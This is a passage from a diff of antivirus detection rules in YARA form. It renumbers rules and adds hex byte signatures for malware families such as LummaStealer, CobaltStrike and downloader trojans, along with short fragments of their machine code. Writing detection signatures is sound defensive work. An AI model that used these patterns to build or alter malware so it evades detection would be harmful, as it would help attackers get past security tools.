74 65 6e 65 01 00 14 81 01 66 6f 72 74 73 74 74 65 6c 73 65 73 6b 75 72 73 75 73 65 74 01 00 0b 81 01 68 6f 6e 64 75 72 61 6e 65 72 65 00 00 78 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=3 + +} +rule _InfrastructureShared_5353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -53089,7 +55371,7 @@ rule _InfrastructureShared_5131{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28651+(#a_3c_2 & 1)*-16251) >=3 } -rule _InfrastructureShared_5132{ +rule _InfrastructureShared_5354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -53100,17 +55382,17 @@ rule _InfrastructureShared_5132{ ((#a_54_0 & 1)*18467+(#a_41_3 & 1)*8448) >=4 } -rule _InfrastructureShared_5133{ +rule _InfrastructureShared_5355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 54 68 75 6d 70 53 6c 69 6e 67 2e 41 21 64 68 61 00 05 00 29 42 41 b9 40 00 00 00 8b d7 41 b8 00 10 00 00 33 c9 ff 15 90 01 04 44 8b c7 48 8b d6 48 8b c8 48 8b d8 e8 90 01 04 } //16675 + $a_46_0 = {45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 54 68 75 6d 70 53 6c 69 6e 67 2e 41 21 64 68 61 00 05 00 29 03 41 b9 40 00 00 00 8b d7 41 b8 00 10 00 00 33 c9 ff 15 90 01 04 44 8b c7 48 8b d6 48 8b c8 48 8b d8 e8 90 01 04 } //16675 condition: ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_5134{ +rule _InfrastructureShared_5356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -53120,7 +55402,37 @@ rule _InfrastructureShared_5134{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_5135{ +rule _InfrastructureShared_5357{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 4c 53 21 4d 54 42 00 05 00 29 03 8b 44 1f fc 85 c0 74 17 8b 0c 1f 8b 54 1f f8 03 14 24 01 e9 50 51 52 e8 90 01 04 83 c4 0c } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_5358{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 32 30 00 02 00 13 03 2e 58 32 22 2a 90 01 1f 20 00 00 60 2e 64 3e 69 72 90 00 03 00 22 03 50 45 00 00 4c 01 09 90 01 11 0b 01 05 0b 00 28 00 00 00 68 03 00 00 00 00 00 4c 15 00 00 00 10 90 00 00 00 78 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=5 + +} +rule _InfrastructureShared_5359{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 43 43 4a 5a 21 4d 54 42 00 06 00 29 03 0f b6 94 0c 90 01 04 31 ca 89 54 24 90 01 01 8b 54 24 90 01 01 80 c2 90 01 01 88 94 0c 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=6 + +} +rule _InfrastructureShared_5360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -53133,7 +55445,7 @@ rule _InfrastructureShared_5135{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28521+(#a_3a_4 & 1)*17748+(#a_00_5 & 1)*14597) >=6 } -rule _InfrastructureShared_5136{ +rule _InfrastructureShared_5361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 01 00 21 " @@ -53143,7 +55455,7 @@ rule _InfrastructureShared_5136{ ((#a_54_0 & 1)*18467) >=7 } -rule _InfrastructureShared_5137{ +rule _InfrastructureShared_5362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 01 00 21 " @@ -53153,7 +55465,7 @@ rule _InfrastructureShared_5137{ ((#a_4c_0 & 1)*21539) >=7 } -rule _InfrastructureShared_5138{ +rule _InfrastructureShared_5363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -53163,7 +55475,7 @@ rule _InfrastructureShared_5138{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5139{ +rule _InfrastructureShared_5364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -53173,7 +55485,7 @@ rule _InfrastructureShared_5139{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_5140{ +rule _InfrastructureShared_5365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -53183,7 +55495,7 @@ rule _InfrastructureShared_5140{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_5141{ +rule _InfrastructureShared_5366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -53196,7 +55508,7 @@ rule _InfrastructureShared_5141{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30+(#a_73_3 & 1)*14926+(#a_6f_4 & 1)*30821) >=11 } -rule _InfrastructureShared_5142{ +rule _InfrastructureShared_5367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " @@ -53208,7 +55520,7 @@ rule _InfrastructureShared_5142{ ((#a_4e_0 & 1)*20259+(#a_73_2 & 1)*384+(#a_61_3 & 1)*25633) >=30 } -rule _InfrastructureShared_5143{ +rule _InfrastructureShared_5368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -53219,7 +55531,7 @@ rule _InfrastructureShared_5143{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*3842) >=200 } -rule _InfrastructureShared_5144{ +rule _InfrastructureShared_5369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53229,7 +55541,7 @@ rule _InfrastructureShared_5144{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5145{ +rule _InfrastructureShared_5370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53239,7 +55551,7 @@ rule _InfrastructureShared_5145{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5146{ +rule _InfrastructureShared_5371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53249,7 +55561,7 @@ rule _InfrastructureShared_5146{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5147{ +rule _InfrastructureShared_5372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53259,7 +55571,7 @@ rule _InfrastructureShared_5147{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5148{ +rule _InfrastructureShared_5373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53269,7 +55581,7 @@ rule _InfrastructureShared_5148{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5149{ +rule _InfrastructureShared_5374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53279,7 +55591,7 @@ rule _InfrastructureShared_5149{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5150{ +rule _InfrastructureShared_5375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53289,7 +55601,7 @@ rule _InfrastructureShared_5150{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5151{ +rule _InfrastructureShared_5376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53299,7 +55611,7 @@ rule _InfrastructureShared_5151{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5152{ +rule _InfrastructureShared_5377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53309,7 +55621,7 @@ rule _InfrastructureShared_5152{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5153{ +rule _InfrastructureShared_5378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53319,7 +55631,7 @@ rule _InfrastructureShared_5153{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5154{ +rule _InfrastructureShared_5379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53329,7 +55641,7 @@ rule _InfrastructureShared_5154{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5155{ +rule _InfrastructureShared_5380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53339,7 +55651,7 @@ rule _InfrastructureShared_5155{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5156{ +rule _InfrastructureShared_5381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53349,7 +55661,7 @@ rule _InfrastructureShared_5156{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5157{ +rule _InfrastructureShared_5382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53359,7 +55671,7 @@ rule _InfrastructureShared_5157{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5158{ +rule _InfrastructureShared_5383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53369,7 +55681,7 @@ rule _InfrastructureShared_5158{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5159{ +rule _InfrastructureShared_5384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53379,7 +55691,7 @@ rule _InfrastructureShared_5159{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5160{ +rule _InfrastructureShared_5385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53389,7 +55701,7 @@ rule _InfrastructureShared_5160{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5161{ +rule _InfrastructureShared_5386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53399,7 +55711,7 @@ rule _InfrastructureShared_5161{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5162{ +rule _InfrastructureShared_5387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53409,7 +55721,7 @@ rule _InfrastructureShared_5162{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5163{ +rule _InfrastructureShared_5388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53419,7 +55731,7 @@ rule _InfrastructureShared_5163{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5164{ +rule _InfrastructureShared_5389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53429,7 +55741,7 @@ rule _InfrastructureShared_5164{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5165{ +rule _InfrastructureShared_5390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53439,7 +55751,7 @@ rule _InfrastructureShared_5165{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5166{ +rule _InfrastructureShared_5391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53449,7 +55761,7 @@ rule _InfrastructureShared_5166{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5167{ +rule _InfrastructureShared_5392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53459,7 +55771,7 @@ rule _InfrastructureShared_5167{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5168{ +rule _InfrastructureShared_5393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53469,7 +55781,7 @@ rule _InfrastructureShared_5168{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5169{ +rule _InfrastructureShared_5394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53479,7 +55791,7 @@ rule _InfrastructureShared_5169{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5170{ +rule _InfrastructureShared_5395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53489,7 +55801,7 @@ rule _InfrastructureShared_5170{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5171{ +rule _InfrastructureShared_5396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53499,7 +55811,7 @@ rule _InfrastructureShared_5171{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5172{ +rule _InfrastructureShared_5397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53509,7 +55821,7 @@ rule _InfrastructureShared_5172{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5173{ +rule _InfrastructureShared_5398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53519,7 +55831,7 @@ rule _InfrastructureShared_5173{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5174{ +rule _InfrastructureShared_5399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53529,7 +55841,7 @@ rule _InfrastructureShared_5174{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5175{ +rule _InfrastructureShared_5400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53539,7 +55851,7 @@ rule _InfrastructureShared_5175{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5176{ +rule _InfrastructureShared_5401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53549,7 +55861,7 @@ rule _InfrastructureShared_5176{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5177{ +rule _InfrastructureShared_5402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53559,7 +55871,7 @@ rule _InfrastructureShared_5177{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5178{ +rule _InfrastructureShared_5403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53569,7 +55881,7 @@ rule _InfrastructureShared_5178{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5179{ +rule _InfrastructureShared_5404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53579,7 +55891,7 @@ rule _InfrastructureShared_5179{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5180{ +rule _InfrastructureShared_5405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53589,7 +55901,7 @@ rule _InfrastructureShared_5180{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5181{ +rule _InfrastructureShared_5406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53599,7 +55911,7 @@ rule _InfrastructureShared_5181{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5182{ +rule _InfrastructureShared_5407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53609,7 +55921,17 @@ rule _InfrastructureShared_5182{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5183{ +rule _InfrastructureShared_5408{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 41 5a 4c 59 21 4d 54 42 00 01 00 31 03 48 89 75 7f 49 8b 80 90 01 04 48 89 45 b7 48 8b 05 90 01 01 dc 14 00 48 05 90 01 04 48 89 45 d7 c7 45 df 90 01 04 0f 28 45 d7 66 0f 7f 45 a7 90 00 00 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_5409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53619,7 +55941,7 @@ rule _InfrastructureShared_5183{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5184{ +rule _InfrastructureShared_5410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53629,7 +55951,7 @@ rule _InfrastructureShared_5184{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5185{ +rule _InfrastructureShared_5411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53639,7 +55961,7 @@ rule _InfrastructureShared_5185{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5186{ +rule _InfrastructureShared_5412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53649,7 +55971,7 @@ rule _InfrastructureShared_5186{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5187{ +rule _InfrastructureShared_5413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53659,7 +55981,7 @@ rule _InfrastructureShared_5187{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5188{ +rule _InfrastructureShared_5414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53669,7 +55991,7 @@ rule _InfrastructureShared_5188{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5189{ +rule _InfrastructureShared_5415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53679,17 +56001,37 @@ rule _InfrastructureShared_5189{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5190{ +rule _InfrastructureShared_5416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 57 65 62 56 69 73 69 74 00 01 00 37 01 45 3a 5c 53 68 61 72 65 5c 54 6f 20 4d 6f 6e 73 74 65 72 42 69 67 42 69 67 5c 57 45 42 56 49 53 49 54 5c 50 52 4f 44 55 43 54 5c 57 45 42 56 49 53 49 54 2e 70 64 62 00 00 78 5f 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 54 68 72 65 61 64 } //19491 + $a_77_0 = {69 3a 48 53 54 52 3a 57 69 6e 33 32 2f 57 65 62 56 69 73 69 74 00 01 00 37 01 45 3a 5c 53 68 61 72 65 5c 54 6f 20 4d 6f 6e 73 74 65 72 42 69 67 42 69 67 5c 57 45 42 56 49 53 49 54 5c 50 52 4f 44 55 43 54 5c 57 45 42 56 49 53 49 54 2e 70 64 62 00 00 78 5f 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //19491 condition: ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5191{ +rule _InfrastructureShared_5417{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4b 52 54 21 4d 54 42 00 01 00 2b 03 8a 1e 8b 34 45 90 01 01 48 8d 7e 90 01 01 85 c9 74 90 01 01 30 1f 48 ff c7 ff c9 eb 90 01 01 48 8d 46 90 01 01 ff } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_5418{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4f 4a 59 21 4d 54 42 00 01 00 2b 03 4c 8b 11 48 8b 41 90 01 01 4c 29 d0 49 39 c0 73 90 01 01 4c 89 c0 31 d2 49 f7 f3 49 8b 01 8a 04 10 43 30 04 02 49 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_5419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53699,7 +56041,7 @@ rule _InfrastructureShared_5191{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5192{ +rule _InfrastructureShared_5420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53709,7 +56051,7 @@ rule _InfrastructureShared_5192{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5193{ +rule _InfrastructureShared_5421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53719,7 +56061,7 @@ rule _InfrastructureShared_5193{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5194{ +rule _InfrastructureShared_5422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53729,17 +56071,7 @@ rule _InfrastructureShared_5194{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5195{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 21 4d 54 42 00 01 00 2d 01 8a 45 66 8a 4d 67 88 c2 80 f2 ff 80 e2 01 41 b0 01 45 88 c1 41 80 f1 01 41 88 c2 45 20 ca 44 08 d2 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_5196{ +rule _InfrastructureShared_5423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -53749,7 +56081,7 @@ rule _InfrastructureShared_5196{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5197{ +rule _InfrastructureShared_5424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53760,7 +56092,7 @@ rule _InfrastructureShared_5197{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-3076) >=1 } -rule _InfrastructureShared_5198{ +rule _InfrastructureShared_5425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53770,7 +56102,7 @@ rule _InfrastructureShared_5198{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5199{ +rule _InfrastructureShared_5426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53780,7 +56112,7 @@ rule _InfrastructureShared_5199{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5200{ +rule _InfrastructureShared_5427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53790,7 +56122,7 @@ rule _InfrastructureShared_5200{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5201{ +rule _InfrastructureShared_5428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53800,7 +56132,7 @@ rule _InfrastructureShared_5201{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5202{ +rule _InfrastructureShared_5429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53811,7 +56143,7 @@ rule _InfrastructureShared_5202{ ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*24434) >=1 } -rule _InfrastructureShared_5203{ +rule _InfrastructureShared_5430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53822,7 +56154,7 @@ rule _InfrastructureShared_5203{ ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*24434) >=1 } -rule _InfrastructureShared_5204{ +rule _InfrastructureShared_5431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -53833,7 +56165,7 @@ rule _InfrastructureShared_5204{ ((#a_5f_0 & 1)*25635+(#a_74_1 & 1)*25970) >=1 } -rule _InfrastructureShared_5205{ +rule _InfrastructureShared_5432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -53845,7 +56177,7 @@ rule _InfrastructureShared_5205{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25452+(#a_4c_2 & 1)*8993) >=1 } -rule _InfrastructureShared_5206{ +rule _InfrastructureShared_5433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -53856,7 +56188,7 @@ rule _InfrastructureShared_5206{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*2) >=1 } -rule _InfrastructureShared_5207{ +rule _InfrastructureShared_5434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -53866,7 +56198,17 @@ rule _InfrastructureShared_5207{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5208{ +rule _InfrastructureShared_5435{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4a 61 69 6b 2e 41 52 41 21 4d 54 42 00 02 00 29 01 0f b6 95 57 fc ff ff 83 f2 36 0f b6 45 d0 33 d0 88 95 57 fc ff ff 8b 4d ac 03 4d d0 8a 95 57 fc ff ff 88 11 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_5436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -53876,7 +56218,7 @@ rule _InfrastructureShared_5208{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_5209{ +rule _InfrastructureShared_5437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -53886,7 +56228,27 @@ rule _InfrastructureShared_5209{ ((#a_4c_0 & 1)*21539) >=2 } -rule 